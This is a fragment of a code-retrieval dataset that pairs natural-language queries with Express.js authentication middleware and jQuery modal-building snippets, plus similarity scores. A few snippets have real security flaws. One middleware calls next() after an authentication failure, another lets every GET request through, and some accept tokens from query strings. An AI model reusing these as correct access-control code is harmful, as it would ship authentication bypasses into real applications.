res.redirect('/login')\n}","function secureRoute(req, res, next) {\n if(!req.headers.authorization) return res.status(401).json({ message: \"You are not allowed in because you're not cool enough.\"});\n\n var token = req.headers.authorization.replace(\"Bearer \", \"\")\n\n jwt.verify(token, secret, function(err, payload){\n if(err || !payload) return res.status(401).json({ message: \"You are not allowed in because you're not cool enough.\"});\n\n req.user = payload;\n next();\n });\n}"],"string":"[\n \"function ensureAuthenticated(req, res, next){\\n if (req.isAuthenticated()){\\n return next();\\n }\\n else {\\n res.redirect('/');\\n }\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/');\\n}\",\n \"function ensureAuthenticated(req, res, next){\\n if(req.isAuthenticated()) return next();\\n res.redirect(\\\"/login\\\");\\n}\",\n \"function isAuthenticated(){\\n return function(req, res, next){\\n if (req.isAuthenticated()){\\n return next();\\n }\\n res.redirect('/signin');\\n }\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { console.log(\\\"IS AUTH : \\\" + req); return next(); }\\n res.redirect('/')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/');\\n }\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n return next();\\n }\\n res.redirect('/');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n return next();\\n }\\n res.redirect('/');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\r\\n if (req.isAuthenticated()) {\\r\\n return next();\\r\\n }\\r\\n res.redirect('/login');\\r\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/')\\n }\",\n \"function ensureAuthenticated (req, res, next) {\\n if (req.isAuthenticated()) {\\n return next()\\n } else {\\n res.redirect('/login')\\n }\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\r\\n if (req.isAuthenticated()) { return next(); }\\r\\n res.redirect('/login')\\r\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\r\\n if (req.isAuthenticated()) { return next(); }\\r\\n res.redirect('/login')\\r\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n // check authentication\\n if (req.isAuthenticated()) {\\n // req.user is available for use here\\n return next();\\n }\\n // denied. redirect to login\\n res.redirect(\\\"/\\\");\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n \\tif (req.isAuthenticated()) { return next(); }\\n \\tres.redirect('/login');\\n }\",\n \"function isAuthenticated(req, res, next){\\n \\n // allow all /GET requests\\n if(req.method == 'GET'){\\n return next();\\n } \\n\\n // allow any request where the user is authenticated\\n if(req.isAuthenticated()){\\n return next();\\n } \\n\\n //for anything else, redirect to login page\\n return res.redirect('/#login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { \\n return next(); \\n }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { \\n return next(); \\n }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n\\tif (req.isAuthenticated()) { return next(); }\\n\\tres.redirect('/');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n\\tif (req.isAuthenticated()) { return next(); }\\n\\tres.redirect('/');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n return next();\\n } else {\\n res.redirect('/users/login');\\n }\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n return next();\\n } else {\\n res.redirect('/login')\\n }\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n\\tif(req.isAuthenticated()) {\\n\\t\\treturn next();\\n\\t} else {\\n\\t\\tres.redirect('/user/login');\\n\\t}\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n return next();\\n }\\n res.redirect(\\\"/login\\\");\\n}\",\n \"function ensureAuthenticated (req, res, next) {\\n if (req.isAuthenticated()) {\\n return next()\\n }\\n res.redirect('/login')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if(req.isAuthenticated()) {\\n return next();\\n } else {\\n res.redirect('/users/login');\\n }\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n return next();\\n }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n return next();\\n }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n return next();\\n }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n return next();\\n }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n\\tif (req.isAuthenticated()) { return next(); }\\n\\tres.redirect('/login')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n\\tif (req.isAuthenticated()) { return next(); }\\n\\tres.redirect('/login')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n\\tif (req.isAuthenticated()) { return next(); }\\n\\tres.redirect('/login')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n\\tif (req.isAuthenticated()) { return next(); }\\n\\tres.redirect('/')\\n}\",\n \"function isAuthenticated(req, res, next)\\n {\\n if (req.user) return next();\\n res.redirect('/');\\n }\",\n \"function ensureAuthenticated(req, res, next) {\\n // if user is authenticated in the session, carry on \\n if (req.isAuthenticated())\\n return next();\\n\\n // if they aren't redirect them to the home page\\n res.redirect('/');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n // if user is authenticated in the session, carry on \\n if (req.isAuthenticated())\\n return next();\\n\\n // if they aren't redirect them to the home page\\n res.redirect('/');\\n}\",\n \"function ensureAuthenticated (req, res, next) {\\n if (req.isAuthenticated()) {\\n return next();\\n };\\n res.redirect('/login'); // <-- Attention: we don't have this page in the example.\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/login');\\n return null;\\n}\",\n \"function ensureAuthenticated(request, response, next) {\\r\\n \\\"use strict\\\";\\r\\n if (request.isAuthenticated()) { return next(); }\\r\\n response.redirect('/login');\\r\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated())\\n\\t return next();\\n res.redirect('/login');\\n}\",\n \"function isAuthenticated() {\\n return compose()\\n .use(function(req, res, next) { // used to validate jwt of user session\\n if(req.query && req.query.hasOwnProperty('access_token')) { // allows 'access_token' to be passed through 'req.query' if necessary\\n req.headers.authorization = 'Bearer ' + req.query.access_token;\\n }\\n validateJwt(req, res, next);\\n })\\n .use(function(req, res, next) { //used to attach 'user' to 'req'\\n User.findById(req.user._id, function (err, user) {\\n if (err) return next(err);\\n if (!user) return res.status(401).send('Unauthorized');\\n\\n req.user = user;\\n console.log('user auth success');\\n next();\\n });\\n });\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated() && validate_user(req.user)) {\\n return next();\\n }\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n // req.user is available for use here\\n return next(); }\\n\\n // denied. redirect to login\\n res.redirect('/')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n // req.user is available for use here\\n return next(); }\\n\\n // denied. redirect to login\\n res.redirect('/')\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/auth/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n return next();\\n }\\n\\n res.redirect('/login');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) next();\\n else res.send(401);\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n next();\\n } else {\\n res.sendStatus(401);\\n }\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n\\t\\tif (req.isAuthenticated()) { return next(); }\\n\\t\\tres.redirect('/login');\\n\\t}\",\n \"function authenticate(req, res, next) {\\n \\n if (req.isAuthenticated()) {\\n return next();\\n } \\n \\n res.redirect('/');\\n}\",\n \"function checkAuthenticated(req, res, next) {\\r\\n \\r\\n if (req.isAuthenticated()) {\\r\\n return next()\\r\\n }\\r\\n res.redirect(\\\"/\\\");\\r\\n \\r\\n}\",\n \"function ensureAuthenticated(req, res, next){\\n req.user=req.user||(typeof req.body.user=='string'?JSON.parse(req.body.user):req.body.user);\\nif(req.isAuthenticated()){\\n return next();\\n\\t} else {\\n\\t\\tres.json({status:\\\"no user\\\"});\\n\\t}\\n\\n}\",\n \"function ensureAuthenticated (request, response, next) {\\n console.log('inside ensure Authenticated');\\n if (request.isAuthenticated()) {\\n return next();\\n }\\n response.redirect('/login');\\n}\",\n \"function isAuthenticated() {\\n return compose()\\n // Validate jwt\\n .use(function(req, res, next) {\\n req.headers.authorization = req.get(\\\"authorization\\\");\\n validateJwt(req, res, next);\\n })\\n // Attach user to request\\n .use(function(req, res, next) {\\n User.findByIdAsync(req.user._id)\\n .then(function(user) {\\n if (!user) {\\n return res.status(401).end();\\n } return req.user = user; })\\n .catch(function(err) {\\n return next(err);\\n });\\n next()\\n });\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n return next();\\n }\\n res.redirect('/log');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { \\n next();\\n } else {\\n req.flash(\\\"info\\\", \\\"Hey, you've got to be logged in to do that!\\\");\\n res.redirect(\\\"/login\\\");\\n }\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n console.log('\\\\n\\\\nensureAuthenticated\\\\n\\\\n');\\n // console.log(req);\\n if (req.isAuthenticated()) {\\n console.log('\\\\n\\\\nisAuthenticated');\\n return next();\\n }\\n console.log('\\\\n\\\\nnot isAuthenticated');\\n res.redirect('/login');\\n}\",\n \"function isUserAuthenticated(req, res, next) {\\n if (req.user) next();\\n else res.send(\\\"No autenticado\\\");\\n}\",\n \"function hasAccess(req, res, next) {\\n if (req.isAuthenticated()) {\\n return next();\\n } \\n else\\n {\\n return res.redirect('/'); \\n }\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (!req.isAuthenticated()) {\\n res.json({\\n message: 'Authentication check failed.',\\n });\\n }\\n\\n return next();\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/admin');\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) { return next(); }\\n res.redirect('/') // changed from '/login' to '/index'\\n}\",\n \"function isAuthenticated(req, res, next) {\\n if (req.user) return next(); //there is an authenticated user\\n res.redirect('/users/signin'); //send them to the login page\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n req.session.redirect_url = req.route.path;\\n if (req.isAuthenticated()) {\\n console.log(\\\"authorized\\\");\\n next();\\n }\\n else {\\n console.log(\\\"not authorized\\\");\\n res.redirect('/login');\\n }\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n\\tif(req.isAuthenticated()){\\n\\t\\treturn next();\\n\\t}\\n\\tconsole.log(\\\"redirected\\\");\\n\\tres.redirect('/');\\n}\",\n \"function authenticatedUser(req, res, next){\\n if(req.isAuthenticated()){\\n return next();\\n }\\n res.redirect('/');\\n}\",\n \"function isAuthenticated(req, res, next) {\\n if(req.user) return next();\\n return res.status(401).json({ msg: 'Not Authorized'})\\n}\",\n \"function checkAuthenticated(req, res, next) {\\n // Check if the User is authenticated\\n if (req.isAuthenticated()) {\\n return next();\\n }\\n\\n // If return false\\n res.redirect(\\\"/\\\");\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n return next();\\n } else {\\n req.flash('error_msg', 'Du er ikke logget ind');\\n res.redirect('/login');\\n }\\n}\",\n \"function ensureAuthenticate(req, res, next) {\\n\\tif (req.isAuthenticated()) { return next();}\\n\\tres.redirect('/login')\\n}\",\n \"function verifyAuthentication(){\\n return (req, res, next) => {\\n if (req.isAuthenticated()){\\n return next();\\n }else{\\n res.redirect('/login');\\n }\\n }\\n}\",\n \"function ensureAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n return next();\\n } else {\\n req.flash('error', '');\\n req.flash('error', 'You don\\\\'t have permission to access this page!');\\n res.redirect('/login')\\n }\\n}\",\n \"function isAuthenticated() {\\n return compose()\\n // Validate jwt\\n .use(function(req, res, next) {\\n // allow jwt to be placed on query string too\\n if (req.query && req.query.hasOwnProperty('access_token')) {\\n req.headers.authorization = 'Bearer ' + req.query.access_token;\\n }\\n validateJwt(req, res, next);\\n })\\n // attach user to the request\\n .use(function(req, res, next) {\\n User.findById(req.user._id, function(err, user) {\\n if (err) {\\n return next(err);\\n }\\n\\n if (!user || _.isEmpty(user)) {\\n return res.send(401);\\n }\\n\\n req.user = user;\\n next();\\n });\\n });\\n}\",\n \"function checkAuthenticated(req, res, next) {\\n if (req.isAuthenticated()) {\\n return next()\\n }\\n\\n res.redirect('/login')\\n}\",\n \"function secureRoute(req, res, next) {\\n if(!req.headers.authorization) return res.status(401).json({ message: \\\"You are not allowed in because you're not cool enough.\\\"});\\n\\n var token = req.headers.authorization.replace(\\\"Bearer \\\", \\\"\\\")\\n\\n jwt.verify(token, secret, function(err, payload){\\n if(err || !payload) return res.status(401).json({ message: \\\"You are not allowed in because you're not cool enough.\\\"});\\n\\n req.user = payload;\\n next();\\n });\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.77062464","0.76014584","0.7570125","0.7560704","0.7558127","0.7558127","0.7558127","0.7551246","0.7539155","0.75295085","0.75295085","0.7519517","0.75158256","0.75106835","0.7509376","0.7509376","0.7509193","0.7509193","0.7509193","0.75080097","0.75054514","0.75034195","0.749991","0.749991","0.7496916","0.7496916","0.7495844","0.749249","0.7486191","0.7486191","0.74855965","0.7469043","0.7468823","0.7464914","0.7464914","0.7464914","0.7464914","0.7464914","0.7458528","0.7451176","0.7451176","0.7451176","0.7451176","0.74407077","0.74407077","0.74407077","0.74407077","0.74407077","0.74407077","0.74407077","0.74407077","0.74407077","0.74407077","0.74407077","0.74407077","0.7432074","0.7432074","0.7432074","0.7430772","0.7430497","0.74252594","0.74252594","0.74242","0.7406079","0.74012804","0.73913044","0.73905575","0.73861957","0.7382927","0.7382927","0.73820174","0.7381697","0.73723996","0.73561263","0.7351603","0.73496175","0.7335079","0.73260283","0.732043","0.72997856","0.72989535","0.7296191","0.7287464","0.72852117","0.728441","0.7284316","0.7282366","0.7274232","0.72711754","0.72704893","0.7269503","0.7265945","0.72615933","0.72517943","0.7250392","0.7250325","0.7244367","0.7242365","0.7239723","0.7234922","0.7228577"],"string":"[\n \"0.77062464\",\n \"0.76014584\",\n \"0.7570125\",\n \"0.7560704\",\n \"0.7558127\",\n \"0.7558127\",\n \"0.7558127\",\n \"0.7551246\",\n \"0.7539155\",\n \"0.75295085\",\n \"0.75295085\",\n \"0.7519517\",\n \"0.75158256\",\n \"0.75106835\",\n \"0.7509376\",\n \"0.7509376\",\n \"0.7509193\",\n \"0.7509193\",\n \"0.7509193\",\n \"0.75080097\",\n \"0.75054514\",\n \"0.75034195\",\n \"0.749991\",\n \"0.749991\",\n \"0.7496916\",\n \"0.7496916\",\n \"0.7495844\",\n \"0.749249\",\n \"0.7486191\",\n \"0.7486191\",\n \"0.74855965\",\n \"0.7469043\",\n \"0.7468823\",\n \"0.7464914\",\n \"0.7464914\",\n \"0.7464914\",\n \"0.7464914\",\n \"0.7464914\",\n \"0.7458528\",\n \"0.7451176\",\n \"0.7451176\",\n \"0.7451176\",\n \"0.7451176\",\n \"0.74407077\",\n \"0.74407077\",\n \"0.74407077\",\n \"0.74407077\",\n \"0.74407077\",\n \"0.74407077\",\n \"0.74407077\",\n \"0.74407077\",\n \"0.74407077\",\n \"0.74407077\",\n \"0.74407077\",\n \"0.74407077\",\n \"0.7432074\",\n \"0.7432074\",\n \"0.7432074\",\n \"0.7430772\",\n \"0.7430497\",\n \"0.74252594\",\n \"0.74252594\",\n \"0.74242\",\n \"0.7406079\",\n \"0.74012804\",\n \"0.73913044\",\n \"0.73905575\",\n \"0.73861957\",\n \"0.7382927\",\n \"0.7382927\",\n \"0.73820174\",\n \"0.7381697\",\n \"0.73723996\",\n \"0.73561263\",\n \"0.7351603\",\n \"0.73496175\",\n \"0.7335079\",\n \"0.73260283\",\n \"0.732043\",\n \"0.72997856\",\n \"0.72989535\",\n \"0.7296191\",\n \"0.7287464\",\n \"0.72852117\",\n \"0.728441\",\n \"0.7284316\",\n \"0.7282366\",\n \"0.7274232\",\n \"0.72711754\",\n \"0.72704893\",\n \"0.7269503\",\n \"0.7265945\",\n \"0.72615933\",\n \"0.72517943\",\n \"0.7250392\",\n \"0.7250325\",\n \"0.7244367\",\n \"0.7242365\",\n \"0.7239723\",\n \"0.7234922\",\n \"0.7228577\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":78,"cells":{"query":{"kind":"string","value":"append the created div to the divmodal"},"document":{"kind":"string","value":"componentDidMount() {\n modalRoot.appendChild(this.element);\n }"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function addModal() {\n let div = $('
                    ');\n\tdiv.attr({\n\t\tid: 'modal-point',\n\t\tclass: 'modal fade'\n\t});\n div.attr(\"data-backdrop\", \"static\").attr(\"data-keyboard\", \"false\").attr(\"tabindex\", \"-1\").attr(\"role\", \"dialog\").attr(\"aria-hidden\", \"true\");\n $('body').append(div);\n\t$('#modal-point').on('hidden.bs.modal');\n}","function createModalDivHtml(options) {\n //If an element already exists with that ID, then dont recreate it.\n if ($(\"#\" + options.modalContainerId).length) {\n return;\n }\n\n var html = '';\n //Warning, do not put tabindex=\"-1\" in the element below. Doing so breaks search functionality in a select 2 drop down\n html += '
                    ';\n html += '
                    ';\n html += '
                    ';\n $('body').prepend(html);\n }","function genModCon() {\n const genModalDiv = ``;\n gallery.insertAdjacentHTML(\"afterEnd\", genModalDiv);\n const modalDiv = document.querySelector(\".modal-container\");\n modalDiv.style.display = \"none\";\n}","function modalWindow() {\r\n $('#gallery').append(\r\n `
                    \r\n
                    \r\n \r\n
                    \r\n
                    \r\n
                    \r\n
                    `);\r\n $('.modal-container').hide();\r\n }","function modalInject(){\n\t\t//inject modal holder into page\n\t\tif (!document.getElementById(\"g_block_modals\")) {\n\t\t\t$(\"body\").append(tdc.Grd.Templates.getByID('modalInject'));\n\t\t}\n\t}","function addModalToDom() {\n // create an instance of the overlay\n var $overlay = $('
                    ');\n $('body').prepend($overlay);\n $overlay.addClass('-active');\n $('body').css('overflow','hidden');\n // load the modal content\n $.get('business/includes/request-demo.html?cache=bust', function(data) {\n $overlay.html(data);\n doFormStuff($overlay);\n });\n }","function addModalToDom() {\n // create an instance of the overlay\n var $overlay = $('
                    ');\n $('body').prepend($overlay);\n $overlay.addClass('-active');\n $('body').css('overflow','hidden');\n // load the modal content\n $.get('includes/request-demo.html?cache=bust1', function(data) {\n $overlay.html(data);\n setTimeout(function() {\n $('.modal-contents', $overlay).addClass('-active');\n },50)\n doFormStuff($overlay);\n });\n }","function modal(){\n\t\t//creating necessary elements to structure modal\n\t\tvar iDiv = document.createElement('div');\n\t\tvar i2Div = document.createElement('div');\n\t\tvar h4 = document.createElement('h4');\n\t\tvar p = document.createElement('p');\n\t\tvar a = document.createElement('a');\n\n\t\t//modalItems array's element are being added to specific tags \n\t\th4.innerHTML = modalItems[1];\n\t\tp.innerHTML = modalItems[2];\n\t\ta.innerHTML = modalItems[0];\n\n\t\t//adding link and classes(materialize) to tags\n\t\tiDiv.setAttribute(\"class\", \"modal-content\");\n\t\ti2Div.setAttribute(\"class\", \"modal-footer\");\n\t\ta.setAttribute(\"class\", \"modal-action modal-close waves-effect waves-green btn-flat\");\n\t\ta.setAttribute(\"href\", \"sign_in.html\");\n\n\t\t//adding elements to tags as a child element\n\t\tiDiv.appendChild(h4);\n\t\tiDiv.appendChild(p);\n\n\t\ti2Div.appendChild(a);\n\n\t\tmodal1.appendChild(iDiv);\n\t\tmodal1.appendChild(i2Div);\n\t}","function appendModal(){\n\t\tvar panelSeklly = '
                    \\n' + \n '\t
                    \\n' + \n '\t\t
                    \\n' +\n '\t\t\t
                    \\n' + \n '\t\t\t\t\\n' + \n '\t\t\t\t

                    Modal title

                    \\n' + \n '\t\t\t
                    \\n' + \n '\t\t\t
                    \\n' + \n '\t\t\t\t

                    One fine body&hellip;

                    \\n' + \n '\t\t\t
                    \\n' + \n '\t\t\t
                    \\n' + \n '\t\t\t\t\\n' + \n '\t\t\t\t\\n' + \n '\t\t\t
                    \\n' + \n '\t\t
                    \\n' + \n '\t
                    \\n' + \n'
                    ';\n\t\t//\t\t\twindow.alert(\"Hello\");\n\t\tvar editor = edManager.getCurrentFullEditor();\n\t\tif(editor){\n\t\t\tvar insertionPos = editor.getCursorPos();\n\t\t\teditor.document.replaceRange(panelSeklly, insertionPos);\n\t\t}\t\n\t}","function addModal() {\n modal = document.createElement( 'div' );\n modalClose = document.createElement( 'span' );\n modalImg = document.createElement( 'img' );\n modalAlt = document.createElement( 'div' );\n modal.id = 'modal';\n modalClose.id = 'close';\n modalClose.onclick = function() {\n modal.style.display = 'none';\n };\n modalClose.innerHTML = '&times;';\n modalImg.id = 'modalImg';\n modalAlt.id = 'alt';\n modal.appendChild( modalClose );\n modal.appendChild( modalImg );\n modal.appendChild( modalAlt );\n document.body.appendChild( modal );\n}","function addModalWindow(){\n gallery.insertAdjacentHTML('afterend', `\n
                    \n
                    \n \n
                    \n
                    \n
                    \n
                    `);\n let modalWindow = document.querySelector('.modal-container');\n modalWindow.style.display = 'none';\n}","function showModal () {\n $modal = $('

                    Your result:

                    ');\n $overlay = $('
                    ');\n $body.append($overlay);\n $body.append($modal);\n $modal.animate({ top: \"50%\" }, 800);\n }","function appendWindow(header, body, action, targetDiv, mainButtonClass, mainButtonIconStyle, mainButtonText, closeButtonText) {\n var window = getHtmlWindow(header, body, mainButtonClass, mainButtonIconStyle, mainButtonText, closeButtonText);\n window.css({\n \"display\": \"block\",\n });\n\n $(targetDiv).html(window);\n \n $(\"#deleteModalButton\").click(action);\n\n toggleWindow();\n \n }","function addModal(){\n body.insertAdjacentHTML('beforeend', `\n
                    \n
                    \n \n
                    \n
                    \n
                    \n
                    \n `)\n const modal = document.querySelector('.modal-container').style.display = 'none';\n const close = document.getElementById('modal-close-btn');\n close.addEventListener('click', (e) => {\n const modal = document.querySelector('.modal-container');\n modal.style.display = 'none';\n })\n}","onAdd() {\n this.createPopupHtml();\n this.getPanes().floatPane.appendChild(this.containerDiv);\n }","function addBaseModal() {\n\tvar modal = $(\"#vulcano-modal\");\n\n\tif (!modal.exists()) {\n\t\tvar htmlModal = getModalHtml();\n\t\t$(\"body\").append(htmlModal);\n\t}\n}","function showInformationModal(message) {\n $('.container').append('
                    ' + message + '
                    ');\n $('.confirm-modal .close').on('click', function() {\n $('.confirm-modal').remove();\n });\n }","function addModal(containerID,modalID,bodyOnly){\n\tif(bodyOnly === null || bodyOnly === undefined){bodyOnly = false};\n\tif(containerID === null || containerID === undefined){containerID = 'main-container'};\n\tif(modalID === null || modalID === undefined){modalID = 'modal-id'};\n\t$('#'+modalID).remove();\n\tif(bodyOnly){\n\t$('#'+ containerID).append(`
                    \n \t
                    \n \t\t
                    \n \t\t\t\n\t \t\t
                    \n\t \t\t\t\n\t \t\t
                    \n\t \t\t\t\t
                    \n\t\t\t \t\n \t\t\t
                    \n \t\t
                    \n \t
                    `\n \t)\n\t}else{\n\t$('#'+ containerID).append(`\n
                    \n \t
                    \n \t\t
                    \n \t\t\n\t \t\t
                    \n\t \t\t\t\t
                    \n\t\t\t \t
                    \n \t\t\t
                    \n \t\t
                    \n \t
                    `\n \t)\n\t}\n}","function create_modal_fac_staff(elem,json_data) {\n\n var put_in = $('#modal_div');\n\n $div_people_modal = $(\"
                    \");\n\n $div_people_modal.append(\"

                    \"+json_data.name+ \"

                    \"+json_data.title+\"


                    \");\n\n $div_people_modal_im = $(\"
                    \");\n $('').load(function() {\n $(this).width(130).height(150).appendTo($div_people_modal_im);\n });\n\n $div_people_modal.append($div_people_modal_im);\n\n $div_people_modal_cont = $(\"
                    \");\n\n // adding contact info\n if(json_data.office != \"\" && json_data.office != null){\n $div_people_modal_cont.append(\"

                    \"+json_data.office+\"

                    \");\n }\n if(json_data.phone != \"\" && json_data.phone != null){\n $div_people_modal_cont.append(\"

                    \"+json_data.phone+\"

                    \");\n }\n if(json_data.email != \"\" && json_data.email != null){\n $div_people_modal_cont.append(\"

                    \"+json_data.email+\"

                    \");\n }\n if(json_data.website != \"\" && json_data.website != null){\n $div_people_modal_cont.append(\"

                    \"+json_data.website+\"

                    \");\n }\n if(json_data.twitter != \"\" && json_data.twitter != null){\n $div_people_modal_cont.append(\"

                    \"+json_data.twitter+\"

                    \");\n }\n if(json_data.facebook != \"\" && json_data.facebook != null){\n $div_people_modal_cont.append(\"

                    \"+json_data.facebook+\"

                    \");\n }\n\n $div_people_modal.append($div_people_modal_cont);\n\n\n put_in.append($div_people_modal);\n\n\n put_in.dialog({\n modal: true,\n beforeClose: function () {put_in.empty();},\n minHeight:300,\n minWidth:500,\n closeOnEscape: true\n });\n}","function wgm_show() {\n\t$('body').append(modal_html);\n\tdiv = '.wg_modal';\n\t$(div).modal('show');\n\t$(div).on('hidden', function () {\n\t\t$(div).remove();\n });\n\treturn $(div);\n}","function getModal(modalid) {\n return '
                    ' +\n '
                    ' +\n '' +\n '

                    Select Environmental Data for This Subset

                    ' +\n '
                    ' +\n '
                    ' +\n '
                    ' +\n '' +\n '
                    ' +\n '
                    '\n }","function insertProfiles(results) { //passes results and appends them to the page\r\n $.each(results, function(index, user) {\r\n $('#gallery').append(\r\n `
                    \r\n
                    \r\n \"profile\r\n
                    \r\n
                    \r\n

                    ${user.name.first} ${user.name.last}

                    \r\n

                    ${user.email}

                    \r\n

                    ${user.location.city}, ${user.location.state}

                    \r\n
                    \r\n
                    `);\r\n });\r\n\r\n//The modal div is being appended to the html\r\n function modalWindow() {\r\n $('#gallery').append(\r\n `
                    \r\n
                    \r\n \r\n
                    \r\n
                    \r\n
                    \r\n
